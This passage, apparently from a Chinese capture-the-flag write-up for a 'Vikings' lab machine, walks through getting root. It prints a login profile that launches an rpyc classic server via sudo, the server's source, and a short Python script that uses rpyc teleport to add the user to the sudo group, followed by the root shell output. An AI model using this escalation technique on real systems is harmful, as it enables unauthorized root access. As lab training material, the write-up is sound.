  • 登录后似乎还需要什么,但密码并不是 mR)|>^/Gky[gz=\.F#j5P( 而且 ragnar 并没有 root 权限

我们需要探查一下 ragnar

  1. $ ls -lah
  2. total 48K
  3. drwxr-xr-x 5 floki floki 4.0K Sep 4 2021 .
  4. drwxr-xr-x 4 root root 4.0K Sep 3 2021 ..
  5. lrwxrwxrwx 1 root root 9 Sep 3 2021 .bash_history -> /dev/null
  6. -rw-r--r-- 1 floki floki 220 Apr 4 2018 .bash_logout
  7. -rw-r--r-- 1 floki floki 3.7K Apr 4 2018 .bashrc
  8. -rw-r--r-- 1 floki floki 82 Oct 11 2020 boat
  9. drwx------ 2 floki floki 4.0K Sep 3 2021 .cache
  10. drwx------ 3 floki floki 4.0K Sep 3 2021 .gnupg
  11. drwxrwxr-x 3 floki floki 4.0K Sep 3 2021 .local
  12. -rw-r--r-- 1 floki floki 806 Sep 4 2021 .profile
  13. -rw-r--r-- 1 floki floki 516 Oct 11 2020 readme.txt
  14. -rw-rw-r-- 1 floki floki 66 Sep 3 2021 .selected_editor
  15. -rw-r--r-- 1 floki floki 0 Sep 3 2021 .sudo_as_admin_successful
  16. -rw------- 1 floki floki 897 Sep 4 2021 .viminfo
  17. $ ls
  18. boat readme.txt
  19. $ cat boat
  20. #Printable chars are your ally.
  21. #num = 29th prime-number.
  22. collatz-conjecture(num)
  23. $ cat readme.txt
  24. _______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
  25. I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
  26. Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
  27. I need to create this `boat` to find Ragnar
  28. $
  • 和上一个 Floki 很像,但并没有什么有价值的信息
  • 在开始时有一个输入的过程,说明它自启动了某种脚本,而且在 floki 上是 bash 但 ragnar 却使用的 sh 这明显不合理,在 linux 中 bash 存在一种自登录的机制,那么我们开始时的那个脚本是不是于此有关

综上我们应该查看 .bashrc.profile 文件一般会有 bash 自启动的程序

  1. $ cat .profile
  2. # ~/.profile: executed by the command interpreter for login shells.
  3. # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
  4. # exists.
  5. # see /usr/share/doc/bash/examples/startup-files for examples.
  6. # the files are located in the bash-doc package.
  7. # the default umask is set in /etc/profile; for setting the umask
  8. # for ssh logins, install and configure the libpam-umask package.
  9. #umask 022
  10. sudo python3 /usr/local/bin/rpyc_classic.py
  11. # if running bash
  12. if [ -n "$BASH_VERSION" ]; then
  13. # include .bashrc if it exists
  14. if [ -f "$HOME/.bashrc" ]; then
  15. . "$HOME/.bashrc"
  16. fi
  17. fi
  18. # set PATH so it includes user's private bin if it exists
  19. if [ -d "$HOME/bin" ] ; then
  20. PATH="$HOME/bin:$PATH"
  21. fi
  22. # set PATH so it includes user's private bin if it exists
  23. if [ -d "$HOME/.local/bin" ] ; then
  24. PATH="$HOME/.local/bin:$PATH"
  25. fi
  26. $
  • 在 .profile 是 sudo python3 /usr/local/bin/rpyc_classic.py

查看该脚本

  1. #!/usr/bin/python3
  2. """
  3. classic rpyc server (threaded, forking or std) running a SlaveService
  4. usage:
  5. rpyc_classic.py # default settings
  6. rpyc_classic.py -m forking -p 12345 # custom settings
  7. # ssl-authenticated server (keyfile and certfile are required)
  8. rpyc_classic.py --ssl-keyfile keyfile.pem --ssl-certfile certfile.pem --ssl-cafile cafile.pem
  9. """
  10. import sys
  11. import os
  12. import rpyc
  13. from plumbum import cli
  14. from rpyc.utils.server import ThreadedServer, ForkingServer, OneShotServer
  15. from rpyc.utils.classic import DEFAULT_SERVER_PORT, DEFAULT_SERVER_SSL_PORT
  16. from rpyc.utils.registry import REGISTRY_PORT
  17. from rpyc.utils.registry import UDPRegistryClient, TCPRegistryClient
  18. from rpyc.utils.authenticators import SSLAuthenticator
  19. from rpyc.lib import setup_logger
  20. from rpyc.core import SlaveService
  21. class ClassicServer(cli.Application):
  22. mode = cli.SwitchAttr(["-m", "--mode"], cli.Set("threaded", "forking", "stdio", "oneshot"),
  23. default="threaded", help="The serving mode (threaded, forking, or 'stdio' for "
  24. "inetd, etc.)")
  25. port = cli.SwitchAttr(["-p", "--port"], cli.Range(0, 65535), default=None,
  26. help="The TCP listener port (default = %s, default for SSL = %s)" %
  27. (DEFAULT_SERVER_PORT, DEFAULT_SERVER_SSL_PORT), group="Socket Options")
  28. host = cli.SwitchAttr(["--host"], str, default="", help="The host to bind to. "
  29. "The default is localhost", group="Socket Options")
  30. ipv6 = cli.Flag(["--ipv6"], help="Enable IPv6", group="Socket Options")
  31. logfile = cli.SwitchAttr("--logfile", str, default=None, help="Specify the log file to use; "
  32. "the default is stderr", group="Logging")
  33. quiet = cli.Flag(["-q", "--quiet"], help="Quiet mode (only errors will be logged)",
  34. group="Logging")
  35. ssl_keyfile = cli.SwitchAttr("--ssl-keyfile", cli.ExistingFile,
  36. help="The keyfile to use for SSL. Required for SSL", group="SSL",
  37. requires=["--ssl-certfile"])
  38. ssl_certfile = cli.SwitchAttr("--ssl-certfile", cli.ExistingFile,
  39. help="The certificate file to use for SSL. Required for SSL", group="SSL",
  40. requires=["--ssl-keyfile"])
  41. ssl_cafile = cli.SwitchAttr("--ssl-cafile", cli.ExistingFile,
  42. help="The certificate authority chain file to use for SSL. "
  43. "Optional; enables client-side authentication",
  44. group="SSL", requires=["--ssl-keyfile"])
  45. auto_register = cli.Flag("--register", help="Asks the server to attempt registering with "
  46. "a registry server. By default, the server will not attempt to register",
  47. group="Registry")
  48. registry_type = cli.SwitchAttr("--registry-type", cli.Set("UDP", "TCP"),
  49. default="UDP", help="Specify a UDP or TCP registry", group="Registry")
  50. registry_port = cli.SwitchAttr("--registry-port", cli.Range(0, 65535), default=REGISTRY_PORT,
  51. help="The registry's UDP/TCP port", group="Registry")
  52. registry_host = cli.SwitchAttr("--registry-host", str, default=None,
  53. help="The registry host machine. For UDP, the default is 255.255.255.255; "
  54. "for TCP, a value is required", group="Registry")
  55. def main(self):
  56. if not self.host:
  57. self.host = "::1" if self.ipv6 else "127.0.0.1"
  58. if self.registry_type == "UDP":
  59. if self.registry_host is None:
  60. self.registry_host = "255.255.255.255"
  61. self.registrar = UDPRegistryClient(ip=self.registry_host, port=self.registry_port)
  62. else:
  63. if self.registry_host is None:
  64. raise ValueError("With TCP registry, you must specify --registry-host")
  65. self.registrar = TCPRegistryClient(ip=self.registry_host, port=self.registry_port)
  66. if self.ssl_keyfile:
  67. self.authenticator = SSLAuthenticator(self.ssl_keyfile, self.ssl_certfile,
  68. self.ssl_cafile)
  69. default_port = DEFAULT_SERVER_SSL_PORT
  70. else:
  71. self.authenticator = None
  72. default_port = DEFAULT_SERVER_PORT
  73. if self.port is None:
  74. self.port = default_port
  75. setup_logger(self.quiet, self.logfile)
  76. if self.mode == "threaded":
  77. self._serve_mode(ThreadedServer)
  78. elif self.mode == "forking":
  79. self._serve_mode(ForkingServer)
  80. elif self.mode == "oneshot":
  81. self._serve_oneshot()
  82. elif self.mode == "stdio":
  83. self._serve_stdio()
  84. def _serve_mode(self, factory):
  85. t = factory(SlaveService, hostname=self.host, port=self.port,
  86. reuse_addr=True, ipv6=self.ipv6, authenticator=self.authenticator,
  87. registrar=self.registrar, auto_register=self.auto_register)
  88. t.start()
  89. def _serve_oneshot(self):
  90. t = OneShotServer(SlaveService, hostname=self.host, port=self.port,
  91. reuse_addr=True, ipv6=self.ipv6, authenticator=self.authenticator,
  92. registrar=self.registrar, auto_register=self.auto_register)
  93. t._listen()
  94. sys.stdout.write("rpyc-oneshot\n")
  95. sys.stdout.write("%s\t%s\n" % (t.host, t.port))
  96. sys.stdout.flush()
  97. t.start()
  98. def _serve_stdio(self):
  99. origstdin = sys.stdin
  100. origstdout = sys.stdout
  101. sys.stdin = open(os.devnull, "r")
  102. sys.stdout = open(os.devnull, "w")
  103. sys.stderr = open(os.devnull, "w")
  104. conn = rpyc.classic.connect_pipes(origstdin, origstdout)
  105. try:
  106. try:
  107. conn.serve_all()
  108. except KeyboardInterrupt:
  109. print("User interrupt!")
  110. finally:
  111. conn.close()
  112. if __name__ == "__main__":
  113. ClassicServer.run()

同时进行权限查看

  1. ragnar@vikings:~$ ls /usr/local/bin/rpyc_classic.py -lh
  2. -rwxr-xr-x 1 root root 6.1K Sep 3 2021 /usr/local/bin/rpyc_classic.py
  • 切换 shell 使用 bash -i

下面代码是在目标上执行,作用是进行 rpyc server 的请求,上面的 Python 登录是关于 rpyc server 的内容,不了解可以去百度

  1. import rpyc
  2. def shell():
  3. import os
  4. os.system('sudo usermod -a -G sudo ragnar')
  5. conn = rpyc.classic.connect('localhost')
  6. fn = conn.teleport(shell)
  7. fn()

先确认 ss -pantu | grep 18812 端口是否开放,再执行 exp.py 然后再重新登录

  1. ragnar@vikings:~$ python3 exp.py
  2. ragnar@vikings:~$ sudo su root
  3. [sudo] password for ragnar:
  4. Sorry, try again.
  5. [sudo] password for ragnar:
  6. sudo: 1 incorrect password attempt
  7. ragnar@vikings:~$ exit
  8. exit
  9. $ exit
  10. Connection to 192.168.56.120 closed.
  11. ┌──(kali?kali)-[~]
  12. └─$ ssh ragnar@192.168.56.120 1 ?
  13. ragnar@192.168.56.120's password:
  14. Permission denied, please try again.
  15. ragnar@192.168.56.120's password:
  16. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)
  17. * Documentation: https://help.ubuntu.com
  18. * Management: https://landscape.canonical.com
  19. * Support: https://ubuntu.com/advantage
  20. System information as of Fri Dec 2 03:20:13 UTC 2022
  21. System load: 0.0 Processes: 95
  22. Usage of /: 52.3% of 8.79GB Users logged in: 0
  23. Memory usage: 18% IP address for enp0s3: 192.168.56.120
  24. Swap usage: 0%
  25. 0 updates can be applied immediately.
  26. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
  27. Last login: Fri Dec 2 02:56:08 2022 from 192.168.56.116
  28. [sudo] password for ragnar:
  29. Traceback (most recent call last):
  30. File "/usr/local/bin/rpyc_classic.py", line 130, in <module>
  31. ClassicServer.run()
  32. File "/usr/local/lib/python3.6/dist-packages/plumbum/cli/application.py", line 609, in run
  33. retcode = inst.main(*tailargs)
  34. File "/usr/local/bin/rpyc_classic.py", line 89, in main
  35. self._serve_mode(ThreadedServer)
  36. File "/usr/local/bin/rpyc_classic.py", line 100, in _serve_mode
  37. registrar=self.registrar, auto_register=self.auto_register)
  38. File "/usr/local/lib/python3.6/dist-packages/rpyc/utils/server.py", line 90, in __init__
  39. self.listener.bind(address)
  40. OSError: [Errno 98] Address already in use
  41. $ bash -i
  42. ragnar@vikings:~$ sudo -s
  43. # id
  44. uid=0(root) gid=0(root) groups=0(root)

自此以获得 root 权限

原文链接:https://www.cnblogs.com/shadow-/p/16943961.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号